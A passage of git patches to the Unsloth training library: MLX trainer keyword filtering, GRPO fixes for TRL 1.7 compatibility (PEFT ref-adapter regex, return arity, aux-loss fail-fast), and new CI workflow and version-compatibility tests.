     import dataclasses as _dataclasses
+    import inspect as _inspect
     import importlib.machinery as _machinery
     import sys as _sys
     import types as _types
@@ -109,6 +110,30 @@ if _IS_MLX:
 
     __version__ = unsloth_zoo.__version__
     DEVICE_TYPE = "mlx"
+    _MLX_TRAINER_ACCEPTS_VAR_KWARGS = False
+    _MLX_TRAINER_SUPPORTED_KWARGS = frozenset()
+    try:
+        _MLX_TRAINER_INIT_PARAMETERS = _inspect.signature(MLXTrainer.__init__).parameters
+        _MLX_TRAINER_ACCEPTS_VAR_KWARGS = any(
+            param.kind is _inspect.Parameter.VAR_KEYWORD
+            for param in _MLX_TRAINER_INIT_PARAMETERS.values()
+        )
+        _MLX_TRAINER_SUPPORTED_KWARGS = frozenset(
+            name
+            for name, param in _MLX_TRAINER_INIT_PARAMETERS.items()
+            if name != "self"
+            and param.kind
+            in (
+                _inspect.Parameter.POSITIONAL_OR_KEYWORD,
+                _inspect.Parameter.KEYWORD_ONLY,
+            )
+        )
+    except (TypeError, ValueError):
+        pass
+
+    def _mlx_trainer_supports_kwarg(name):
+        """Return whether the installed zoo MLXTrainer accepts a kwarg."""
+        return _MLX_TRAINER_ACCEPTS_VAR_KWARGS or name in _MLX_TRAINER_SUPPORTED_KWARGS
 
     def _is_mlx_cuda_device_target(device):
         """Return True when a torch .to/.cuda target asks for CUDA on MLX."""
@@ -966,6 +991,7 @@ if _IS_MLX:
         "args",
         "formatting_func",
         "processor",
+        "callbacks",
     )
     _TRL_SFT_TRAINER_POSITIONAL_KWARGS = (
         "model",
@@ -985,6 +1011,29 @@ if _IS_MLX:
     )
     _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS)
 
+    def _filter_supported_mlx_trainer_kwargs(trainer_kwargs):
+        """Drop inert/empty kwargs unsupported by this zoo MLXTrainer."""
+        unsupported = {
+            key: value
+            for key, value in trainer_kwargs.items()
+            if not _mlx_trainer_supports_kwarg(key)
+        }
+        names = sorted(
+            key for key, value in unsupported.items() if _is_meaningful_mlx_extra_value(value)
+        )
+        if names:
+            subject = ", ".join(names)
+            verb = "requires" if len(names) == 1 else "require"
+            raise NotImplementedError(
+                "Unsloth MLX: "
+                f"{subject} {verb} an unsloth-zoo build with "
+                "matching MLXTrainer support. Upgrade unsloth-zoo together "
+                "with unsloth."
+            )
+        for key in unsupported:
+            trainer_kwargs.pop(key, None)
+        return trainer_kwargs
+
     def _is_mlx_native_text_collator(collator):
         """HF pad/copy collators are redundant on MLX; match by class name."""
         for klass in type(collator).__mro__:
@@ -1162,6 +1211,7 @@ if _IS_MLX:
 
             trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs)
             _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs)
+            trainer_kwargs = _filter_supported_mlx_trainer_kwargs(trainer_kwargs)
             trainer_kwargs["args"] = _coerce_mlx_training_args(
                 trainer_kwargs.get("args"),
                 config_kwargs,

From 07c8bbbf5a48ee059f2f0e7767f664e24c8b0bf6 Mon Sep 17 00:00:00 2001
From: marcandrelarochelle <marcandrelarochelle1820@gmail.com>
Date: Wed, 8 Jul 2026 07:05:03 -0400
Subject: [PATCH 257/306] (GRPO) Fix PEFT replacement for TRL >= 1.7.0, add
 missing compute_aux_loss for TRL >= 1.7.0 (#6904)

* Fix PEFT replacement for TRL >= 1.7.0, add missing compute_aux_loss for TRL 1.7.0

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix GRPO for TRL >= 1.7.0: PEFT ref-adapter removal and return arity

rl.py: for trl >= 1.7.0, scope the PEFT removal regex to the ref-adapter
block only by anchoring the end on ref_param.data.copy_(param.data), so it
no longer also deletes the following gradient-checkpointing
enable_input_require_grads() block. Neutralize TRL 1.7.0's
`if _is_quantized_model:` bf16 cast the same way the existing
is_loaded_in_4bit cast is handled.

rl_replacements.py: initialize _extra_moe_kwargs before use (it was
referenced before assignment whenever compute_aux_loss was passed) and only
request output_router_logits when the aux loss is actually wanted.

rl_replacements.py: _get_per_token_logps_and_entropies now returns a 3-tuple
(logps, entropies, aux_loss) for trl >= 1.7.0 and a 2-tuple for older TRL,
matching how every TRL call site unpacks the result. Without this, TRL 1.7.x
_generate_and_score_completions unpacks 3 values from a 2-tuple and raises
"not enough values to unpack (expected 3, got 2)".

* Return zero aux_loss placeholder and drop inference-mode aux collection

* GRPO TRL >= 1.7.0: reject router aux-loss opt-in at init; drop zero aux placeholder

Unsloth's optimized GRPO forward cannot compute the MoE router auxiliary loss.
Previously an explicit opt-in (router_aux_loss_coef > 0) returned a fabricated
zero, silently training without the requested load-balancing penalty. Now reject
it at trainer init with a clear NotImplementedError, and return None (not zero)
for the aux slot of TRL's 3-tuple. Default stays off (coef 0), so the common
path is unaffected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO hidden-states fallback: free ModelOutput before chunked log-softmax

The old/ref logprob fallback binds the full ModelOutput (which holds every
layer's hidden_states when output_hidden_states=True) and kept it alive across
chunked_hidden_states_selective_log_softmax, an avoidable OOM on large models.
Extract logits then del outputs in both the text and VLM branches.

* Version-compat CI: proactively catch TRL GRPO breakage

The existing TRL canary is a static symbol/source grep: it verifies symbols
exist but is blind to structural changes (TRL 1.7.0's 2->3-tuple per-token-logps
return arity and restructured PEFT ref-adapter block, which the fix in this PR
addresses, both slipped past it because the methods still existed).

Two additions:
- test_trl_grpo_pinned_symbols.py: extend TRL_TAGS to 1.5/1.6/1.7 and pin the
  exact source-string contracts the rl.py / rl_replacements.py transforms depend
  on for TRL >= 1.7.0 (PEFT elif ref-adapter block + enable_input_require_grads
  survival, if _is_quantized_model, aux_loss_enabled anchor, compute_aux_loss
  arity). A future TRL change fails on main a few days before the PyPI release.
- test_trl_grpo_fake_run.py + a version-compat-ci job: fake-CUDA run that drives
  the real GRPO/SFT/DPO source-transform patchers against latest + main TRL on a
  CPU-only runner (no training) and asserts the generated Unsloth trainer still
  satisfies the transform contracts. Catches behavioral regressions the grep
  cannot see.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fake-run test: use a normal Version import for the aux gate

* version-compat CI: fix fake-run job gate + torch-absent collection

- Drop the invalid job-level matrix if (matrix is not available in
  jobs.<id>.if -> 'Unrecognized named-value: matrix' fails the whole
  workflow). Use a single job that runs vs TRL latest always and re-runs
  vs TRL main only on schedule/dispatch via a step-level github.event_name
  guard. Validated with actionlint.
- Module-level skip the fake-run test when torch is absent so
  daily-fresh-fetch (pytest-only, collects tests/version_compat/) does not
  crash on the top-level spoof import.

* fake-run test: do not skip on import failure

unsloth/trl are installed in the grpo-fake-run job, so a failing import is the
import-time drift this canary must catch. Keep only the not-installed find_spec
skips; let a real import error fail the test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO arity gate: regex downgrade + fail loud + CI coverage

The TRL < 1.7.0 per-token-logps return downgrade was an exact-string replace
anchored on the full return line incl. its comment, so a reformat (e.g.
pre-commit) could silently no-op it and ship a 3-tuple to older TRL. Switch to
a regex tolerant of comment/whitespace drift, and raise if the anchor stops
matching (re.subn count != 1) instead of failing silently. Add a monkeypatched
trl_version unit test asserting both arities, since CI only installs TRL >= 1.7.0
and never exercised the downgrade otherwise.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fake-run: give SFT/DPO a real contract, not just ast-parse

The SFT/DPO fake patch runs only checked the generated trainer parses. Also
assert the shared QLoRA _is_quantized_model bf16 cast is neutralized (TRL 1.7's
spelling, present in both sft_trainer and dpo_trainer), so a structural TRL
change to that block is caught for SFT/DPO too, not just GRPO.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO PEFT ref-adapter removal: lower gate to the TRL 1.4.0 floor

The elif is_peft_model(model) and args.beta != 0.0: ref-adapter block was
introduced in TRL 1.4.0 and is unchanged through 1.7.x, but the removal was
gated at >= 1.7.0, so for 1.4 <= TRL < 1.7 the transform fell through to the
0.27 branch (which matches the older if is_peft_available()... form) and
silently no-oped: a PEFT + beta != 0 GRPO run then computed the KL reference
from the copied ref adapter instead of the base model. Lower the gate to
1.4.0 and keep the 1.7.0-only router aux-loss fail-fast nested. Widen the
pinned-symbol contract test to run from 1.4.0 so the covered versions are
actually exercised.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .github/workflows/version-compat-ci.yml       |  77 ++++++
 .../version_compat/test_trl_grpo_fake_run.py  | 246 ++++++++++++++++++
 .../test_trl_grpo_pinned_symbols.py           | 110 ++++++++
 unsloth/models/rl.py                          |  36 ++-
 unsloth/models/rl_replacements.py             |  42 ++-
 5 files changed, 504 insertions(+), 7 deletions(-)
 create mode 100644 tests/version_compat/test_trl_grpo_fake_run.py

diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index e492d21e99..b15d5bfa25 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -285,6 +285,83 @@ jobs:
             tests/vllm_compat/test_extended_module_imports.py \
             -v --tb=short
 
+  # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike
+  # the static symbol/source greps above, this drives unsloth's actual
+  # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only
+  # runner under the tests/conftest.py spoof harness -- no GPU, no training.
+  # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple
+  # per-token-logps return, restructured PEFT ref-adapter block) by asserting
+  # the generated Unsloth trainer still satisfies the transform contracts.
+  grpo-fake-run:
+    name: GRPO fake-run (latest + main TRL, CPU spoof)
+    runs-on: ubuntu-latest
+    timeout-minutes: 18
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+          path: unsloth
+      - name: Clone unsloth-zoo @ main
+        run: |
+          for attempt in 1 2 3; do
+            rm -rf "$RUNNER_TEMP/unsloth-zoo"
+            if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \
+                "$RUNNER_TEMP/unsloth-zoo"; then
+              break
+            fi
+            if [ "$attempt" -eq 3 ]; then
+              echo "::error::git clone unsloth-zoo failed after 3 attempts"
+              exit 1
+            fi
+            delay=$((5 * attempt))
+            echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..."
+            sleep "$delay"
+          done
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+      - name: Install CPU torch + ecosystem + TRL latest
+        run: |
+          python -m pip install --upgrade pip
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
+            'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
+          # Ecosystem floors unsloth needs; TRL itself is installed last so it
+          # can pull the transformers/peft it requires.
+          pip install \
+            'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \
+            'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \
+            'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow
+          pip install --upgrade trl
+          pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo"
+          pip install --no-deps -e ./unsloth
+      - name: Fake-run vs TRL latest
+        env:
+          UNSLOTH_IS_PRESENT: '1'
+          UNSLOTH_COMPILE_DISABLE: '1'
+          PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
+        run: |
+          cd unsloth
+          python -c "import trl; print('Resolved TRL', trl.__version__)"
+          PYTHONPATH=. python -m pytest \
+            tests/version_compat/test_trl_grpo_fake_run.py \
+            -v --tb=short
+      # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
+      # TRL break does not red every PR. github.event_name is valid in a step if.
+      - name: Fake-run vs TRL main (scheduled / dispatch only)
+        if: ${{ github.event_name != 'pull_request' }}
+        env:
+          UNSLOTH_IS_PRESENT: '1'
+          UNSLOTH_COMPILE_DISABLE: '1'
+          PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
+        run: |
+          pip install --upgrade "git+https://github.com/huggingface/trl"
+          cd unsloth
+          python -c "import trl; print('Resolved TRL', trl.__version__)"
+          PYTHONPATH=. python -m pytest \
+            tests/version_compat/test_trl_grpo_fake_run.py \
+            -v --tb=short
+
   # Daily-only: same suites but with --strict on importable upstream
   # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake.
   daily-fresh-fetch:
diff --git a/tests/version_compat/test_trl_grpo_fake_run.py b/tests/version_compat/test_trl_grpo_fake_run.py
new file mode 100644
index 0000000000..c79c9955da
--- /dev/null
+++ b/tests/version_compat/test_trl_grpo_fake_run.py
@@ -0,0 +1,246 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Fake-CUDA GRPO patch run against the *installed* TRL (CPU-only, no training).
+
+The static symbol/source-string canaries (test_trl_grpo_pinned_symbols.py)
+grep raw TRL source; they never execute unsloth's transforms. This test drives
+the real pipeline: under the aggressive CUDA spoof it imports unsloth and calls
+`_patch_trl_rl_trainers_impl`, which reads the installed GRPOTrainer via
+inspect.getsource, applies every rl.py/rl_replacements.py rewrite, and compiles
+the result into an UnslothGRPOTrainer. A structural TRL change that slips past
+the greps (e.g. TRL 1.7.0's 2->3-tuple return arity, or a restructured PEFT
+ref-adapter block) surfaces here as a transform error, a broken generated
+source, or a violated contract -- with no GPU and no training run.
+
+Meant to run in CI against `trl==latest` and `trl @ main` (see
+version-compat-ci.yml). The tests/conftest.py harness pre-loads device_type
+with DEVICE_COUNT=0 so unsloth's kernel init takes the CPU-safe path.
+"""
+
+from __future__ import annotations
+
+import ast
+import importlib
+import importlib.machinery
+import importlib.util
+import inspect
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+
+# daily-fresh-fetch collects tests/version_compat/ with only pytest installed;
+# the spoof and the rest of this module need the real torch runtime. Skip the
+# whole module cleanly when torch is absent rather than crashing collection.
+if importlib.util.find_spec("torch") is None:
+    pytest.skip("torch not installed; fake-run needs the real runtime", allow_module_level = True)
+
+# Apply the spoof BEFORE any unsloth-touching import (mirrors
+# tests/vllm_compat/test_extended_module_imports.py).
+_SPOOF_DIR = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(_SPOOF_DIR))
+import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
+
+_spoof.apply()
+
+
+def _stub_module(name: str, attrs: dict | None = None) -> None:
+    if name in sys.modules:
+        return
+    m = types.ModuleType(name)
+    m.__spec__ = importlib.machinery.ModuleSpec(name = name, loader = None, origin = "<test stub>")
+    for k, v in (attrs or {}).items():
+        setattr(m, k, v)
+    sys.modules[name] = m
+
+
+_stub_module("torchcodec")
+
+
+def _trl_version():
+    import trl
+    from packaging.version import Version
+    return Version(trl.__version__.split("+")[0])
+
+
+def _patch_grpo_and_get_source() -> str:
+    """Run the GRPO patcher against the installed TRL and return the generated
+    UnslothGRPOTrainer source. Calls the impl (not the try/except wrapper) so a
+    transform/compile regression surfaces as a hard error instead of a silent
+    no-op."""
+    import trl.trainer.grpo_trainer as _g
+
+    from unsloth.models import rl as _rl
+
+    _rl._patch_trl_rl_trainers_impl("grpo_trainer")
+    patched = _g.GRPOTrainer
+    assert patched.__name__ == "UnslothGRPOTrainer", (
+        f"GRPO patch silently no-oped: trl.trainer.grpo_trainer.GRPOTrainer is "
+        f"{patched.__name__!r}, expected 'UnslothGRPOTrainer' (transform failed "
+        f"or dispatch key drifted on this TRL)"
+    )
+    # The transformed body (__init__ rewrites, injected per-token-logps) lives in
+    # the generated module's `_UnslothGRPOTrainer` base + module-level funcs, not
+    # the thin UnslothGRPOTrainer subclass -- read the whole generated module.
+    mod = inspect.getmodule(patched)
+    return inspect.getsource(mod) if mod is not None else inspect.getsource(patched)
+
+
+@pytest.fixture(scope = "module")
+def generated_grpo_source():
+    if importlib.util.find_spec("unsloth") is None:
+        pytest.skip("unsloth not installed")
+    if importlib.util.find_spec("trl") is None:
+        pytest.skip("trl not installed")
+    # Do NOT swallow import errors: unsloth is installed here, so a failing
+    # `import unsloth` is exactly the import-time TRL/transformers drift this
+    # canary must surface as a failure, not a skip.
+    import unsloth  # noqa: F401  -- _gpu_init bootstrap under spoof
+
+    return _patch_grpo_and_get_source()
+
+
+def test_grpo_patch_generates_valid_source(generated_grpo_source):
+    """The generated UnslothGRPOTrainer must be syntactically valid Python."""
+    ast.parse(generated_grpo_source)
+
+
+def test_grpo_patch_aux_fail_fast_injected(generated_grpo_source):
+    """TRL >= 1.7.0: rl.py injects a fail-fast for the unsupported MoE router
+    aux-loss opt-in right after `self.aux_loss_enabled = ...`."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("aux_loss_enabled / router_aux_loss_coef are TRL >= 1.7.0")
+    assert "does not compute the MoE router auxiliary loss" in generated_grpo_source, (
+        "aux fail-fast raise missing from generated trainer; rl.py's "
+        "aux_loss_enabled .replace() anchor did not match this TRL"
+    )
+
+
+def test_grpo_patch_three_tuple_return(generated_grpo_source):
+    """TRL >= 1.7.0 call sites unpack a 3-tuple from
+    _get_per_token_logps_and_entropies; the injected replacement must return
+    (logps, entropies, aux_loss)."""
+    from packaging.version import Version
+    if _trl_version() >= Version("1.7.0"):
+        assert "return logprobs.detach(), entropies, aux_loss" in generated_grpo_source, (
+            "3-tuple per-token-logps return missing; the arity version-gate in "
+            "rl_replacements.py did not emit the >=1.7.0 form"
+        )
+    else:
+        assert (
+            "return logprobs.detach(), entropies, aux_loss" not in generated_grpo_source
+        ), "2-tuple TRL got the 3-tuple return; arity gate mis-fired"
+
+
+def test_grpo_patch_preserves_grad_checkpointing_block(generated_grpo_source):
+    """The tightened PR #6904 PEFT regex must remove only the ref-adapter init,
+    not the following enable_input_require_grads gradient-checkpointing block."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("ref-adapter elif block is the TRL >= 1.7.0 shape")
+    assert "enable_input_require_grads" in generated_grpo_source, (
+        "gradient-checkpointing enable_input_require_grads() block was swallowed "
+        "by the PEFT-removal regex (over-reach regression)"
+    )
+
+
+def test_grpo_patch_neutralizes_ref_adapter_and_qlora_cast(generated_grpo_source):
+    """TRL >= 1.7.0: the ref-adapter copy and the hardcoded QLoRA bf16 cast must
+    both be gone from the generated trainer."""
+    from packaging.version import Version
+
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("targets the TRL >= 1.7.0 PEFT / _is_quantized_model shapes")
+    assert (
+        "ref_param.data.copy_(param.data)" not in generated_grpo_source
+    ), "TRL's PEFT ref-adapter init survived; rl.py peft_pattern re.sub no-oped"
+    assert (
+        "if _is_quantized_model:" not in generated_grpo_source
+    ), "TRL's hardcoded QLoRA bf16 cast survived; rl.py neutralization no-oped"
+
+
+# SFT / DPO: the same source-transform patcher runs on them (a fake patch run,
+# no training), so a structural TRL change can break generation. Assert the patch
+# produces a valid, importable Unsloth trainer AND that the shared QLoRA
+# `_is_quantized_model` bf16 cast is neutralized (TRL 1.7's spelling), which the
+# patcher applies to every trainer. Catches "and or others" beyond GRPO.
+
+
+def _patch_and_get_source(trainer_file: str, trainer_cls: str) -> str:
+    if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:
+        pytest.skip("unsloth or trl not installed")
+    # Let a real import failure fail the test (import-time drift is the target).
+    import unsloth  # noqa: F401
+    import trl.trainer  # noqa: F401
+
+    from unsloth.models import rl as _rl
+
+    _rl._patch_trl_rl_trainers_impl(trainer_file)
+    mod = importlib.import_module(f"trl.trainer.{trainer_file}")
+    patched = getattr(mod, trainer_cls)
+    assert patched.__name__ == f"Unsloth{trainer_cls}", (
+        f"{trainer_cls} patch silently no-oped on this TRL "
+        f"(got {patched.__name__!r}); source-transform dispatch drifted"
+    )
+    gen = inspect.getmodule(patched)
+    src = inspect.getsource(gen) if gen is not None else inspect.getsource(patched)
+    ast.parse(src)
+    return src
+
+
+def _assert_quantized_cast_neutralized(src: str, trainer_cls: str) -> None:
+    from packaging.version import Version
+    if _trl_version() < Version("1.7.0"):
+        pytest.skip("pre-1.7.0 spells the QLoRA cast differently (is_loaded_in_4bit)")
+    assert "if _is_quantized_model:" not in src, (
+        f"{trainer_cls}: TRL's hardcoded QLoRA bf16 cast survived; the shared "
+        f"rl.py `if _is_quantized_model:` -> `if False:` neutralization no-oped"
+    )
+
+
+def test_sft_patch_generates_valid_source():
+    src = _patch_and_get_source("sft_trainer", "SFTTrainer")
+    _assert_quantized_cast_neutralized(src, "SFTTrainer")
+
+
+def test_dpo_patch_generates_valid_source():
+    src = _patch_and_get_source("dpo_trainer", "DPOTrainer")
+    _assert_quantized_cast_neutralized(src, "DPOTrainer")
+
+
+# The installed TRL in CI is always >= 1.7.0, so the < 1.7.0 return-arity
+# downgrade is never exercised by the fake-run above. Lock both arities by
+# monkeypatching rl_replacements.trl_version and re-generating the injected
+# _get_per_token_logps_and_entropies source directly (no TRL install needed).
+def test_per_token_logps_arity_gate_both_directions(monkeypatch):
+    if importlib.util.find_spec("unsloth") is None:
+        pytest.skip("unsloth not installed")
+    import unsloth  # noqa: F401
+    from packaging.version import Version
+
+    from unsloth.models import rl_replacements as _rlr
+
+    gate = _rlr.grpo_trainer__get_per_token_logps_and_entropies
+
+    # >= 1.7.0: 3-tuple return kept.
+    monkeypatch.setattr(_rlr, "trl_version", Version("1.7.0"), raising = False)
+    src_new = gate("_get_per_token_logps_and_entropies", None)
+    assert (
+        "return logprobs.detach(), entropies, aux_loss" in src_new
+    ), "3-tuple return missing for TRL >= 1.7.0"
+
+    # < 1.7.0: aux_loss element dropped -> 2-tuple. A no-op downgrade must raise
+    # (fail loud), never silently ship a 3-tuple to older TRL.
+    monkeypatch.setattr(_rlr, "trl_version", Version("1.6.0"), raising = False)
+    src_old = gate("_get_per_token_logps_and_entropies", None)
+    assert (
+        "return logprobs.detach(), entropies  # logps, entropies" in src_old
+    ), "2-tuple return missing for TRL < 1.7.0"
+    assert (
+        "entropies, aux_loss" not in src_old
+    ), "aux_loss element still present in the TRL < 1.7.0 downgrade"
diff --git a/tests/version_compat/test_trl_grpo_pinned_symbols.py b/tests/version_compat/test_trl_grpo_pinned_symbols.py
index 834692e2dd..2f935dde49 100644
--- a/tests/version_compat/test_trl_grpo_pinned_symbols.py
+++ b/tests/version_compat/test_trl_grpo_pinned_symbols.py
@@ -51,10 +51,27 @@ TRL_TAGS = [
     "v1.2.0",
     "v1.3.0",
     "v1.4.0",
+    "v1.5.0",
+    "v1.5.1",
+    "v1.6.0",
+    "v1.7.0",  # anchor: first release unsloth's TRL>=1.7.0 GRPO patch targets
+    "v1.7.1",  # current PyPI latest
     "main",
 ]
 
 
+def _tag_ge(tag: str, floor: str) -> bool:
+    """True if `tag` is `main` or a version >= `floor` (e.g. "1.7.0")."""
+    if tag == "main":
+        return True
+    from packaging.version import Version
+
+    try:
+        return Version(tag.lstrip("v")) >= Version(floor)
+    except Exception:
+        return False
+
+
 # unsloth/trainer.py + unsloth/models/rl.py rebind these top-level names.
 
 
@@ -537,3 +554,96 @@ def test_trl_truncate_with_protected_tokens_optional(tag: str):
     assert src is not None
     has_it = "truncate_with_protected_tokens" in src
     _ = has_it  # informational; pass either way.
+
+
+# 24-27. TRL >= 1.7.0 GRPO source contracts. Unlike the has_def existence
+# checks above, these pin the exact source strings unsloth/models/rl.py and
+# rl_replacements.py transform for TRL >= 1.7.0 (the window PR #6904 fixes).
+# The 1.7.0 break was invisible to the existence checks because the methods
+# still existed -- only their internal structure / return arity changed. If
+# TRL restructures one of these, the transform silently no-ops (or the
+# generated trainer breaks), so failing here on `main` gives a few-day lead.
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_peft_ref_adapter_block_contract(tag: str):
+    """rl.py (trl>=1.4.0) strips TRL's PEFT ref-adapter init with a re.DOTALL
+    regex anchored on `elif is_peft_model(model) and args.beta != 0.0:` ...
+    `ref_param.data.copy_(param.data)`. Both anchors must exist (else the
+    regex no-ops and the ref adapter is created under Unsloth), and the
+    following `enable_input_require_grads` gradient-checkpointing block must
+    remain present -- the tightened regex must NOT swallow it (PR #6904). The
+    `elif` block shape appeared in TRL 1.4.0, so this contract runs from there."""
+    if not _tag_ge(tag, "1.4.0"):
+        pytest.skip(
+            f"{tag}: pre-1.4.0 uses the `if is_peft_available()...` form (rl.py 0.27 branch)"
+        )
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "elif is_peft_model(model) and args.beta != 0.0:" in src, (
+        f"{tag}: PEFT ref-adapter `elif` anchor gone; unsloth/models/rl.py "
+        f"peft_pattern re.sub no-ops and TRL's ref adapter init runs under Unsloth"
+    )
+    assert "ref_param.data.copy_(param.data)" in src, (
+        f"{tag}: `ref_param.data.copy_(param.data)` end-anchor gone; "
+        f"unsloth/models/rl.py peft_pattern loses its DOTALL end match"
+    )
+    assert "enable_input_require_grads" in src, (
+        f"{tag}: `enable_input_require_grads` block gone from grpo_trainer.py; "
+        f"the tightened PR #6904 regex assumed it follows the ref-adapter block"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_quantized_model_cast_contract(tag: str):
+    """rl.py (trl>=1.7.0) neutralizes TRL's hardcoded QLoRA bf16 cast
+    `if _is_quantized_model:` -> `if False:`. A rename leaves the cast active,
+    which ignores the user's dtype and breaks GradScaler with fp16=True."""
+    if not _tag_ge(tag, "1.7.0"):
+        pytest.skip(f"{tag}: pre-1.7.0 spells the cast differently (is_loaded_in_4bit)")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "if _is_quantized_model:" in src, (
+        f"{tag}: `if _is_quantized_model:` gone; unsloth/models/rl.py cannot "
+        f"neutralize TRL's hardcoded QLoRA bf16 cast and it runs under Unsloth"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_aux_loss_enabled_contract(tag: str):
+    """rl.py (trl>=1.7.0) appends a fail-fast after
+    `self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0` so an
+    explicit MoE router-aux opt-in errors instead of silently training without
+    the penalty (the optimized forward cannot compute it). A change to this
+    line drops the guard silently (PR #6904)."""
+    if not _tag_ge(tag, "1.7.0"):
+        pytest.skip(f"{tag}: aux_loss_enabled / router_aux_loss_coef added in TRL 1.7.0")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0" in src, (
+        f"{tag}: `aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0` "
+        f"changed; unsloth/models/rl.py's fail-fast .replace() anchor no-ops"
+    )
+
+
+@pytest.mark.parametrize("tag", TRL_TAGS)
+def test_trl_grpo_per_token_logps_aux_arity_contract(tag: str):
+    """TRL 1.7.0 added `compute_aux_loss` to
+    _get_per_token_logps_and_entropies and made every call site unpack a
+    3-tuple. rl_replacements.py version-gates its injected replacement to emit
+    a 3-tuple for trl>=1.7.0 (2-tuple below). This is the exact change the
+    has_def existence checks miss: the method still exists, only its arity
+    changed. If TRL drops/renames the aux return, the gate needs revisiting."""
+    if not _tag_ge(tag, "0.20.0"):
+        pytest.skip(f"{tag}: pre-0.20 uses legacy _get_per_token_logps (2-tuple, no aux)")
+    src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
+    assert src is not None
+    assert has_def(src, "_get_per_token_logps_and_entropies", "func"), (
+        f"{tag}: _get_per_token_logps_and_entropies missing on TRL >=0.20; "
+        f"unsloth's per-token-logps injection dispatch key no longer matches"
+    )
+    if _tag_ge(tag, "1.7.0"):
+        assert "compute_aux_loss" in src, (
+            f"{tag}: TRL >=1.7.0 dropped `compute_aux_loss`; the 3-tuple "
+            f"injection gate in unsloth/models/rl_replacements.py must be revisited"
+        )
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index b5cadf2dea..eeab8fbaca 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -1651,7 +1651,36 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
 
         RLTrainer_source = re.sub(pattern, new_options, RLTrainer_source, flags = re.DOTALL)
 
-        if trl_version >= Version("0.27.0"):
+        if trl_version >= Version("1.4.0"):
+            # The `elif is_peft_model(model) and args.beta != 0.0:` ref-adapter block
+            # was introduced in TRL 1.4.0 and is used through 1.7.x. Remove only that
+            # block, anchored on the final ref_param copy so we do NOT also swallow the
+            # following gradient-checkpointing enable_input_require_grads() block.
+            peft_pattern = (
+                r"\s*elif is_peft_model\(model\) and args\.beta != 0\.0:"
+                r".*?"
+                r"ref_param\.data\.copy_\(param\.data\)"
+            )
+
+            replacement_comment = (
+                "\n        # PEFT initialization logic removed via script for trl >= 1.4.0\n"
+            )
+
+            RLTrainer_source = re.sub(
+                peft_pattern, replacement_comment, RLTrainer_source, flags = re.DOTALL
+            )
+
+            if trl_version >= Version("1.7.0"):
+                # router_aux_loss_coef / aux_loss_enabled were added in TRL 1.7.0. Unsloth's
+                # optimized GRPO forward cannot compute the MoE router aux loss, so reject
+                # explicit opt-in (router_aux_loss_coef > 0) at init rather than silently ignoring it.
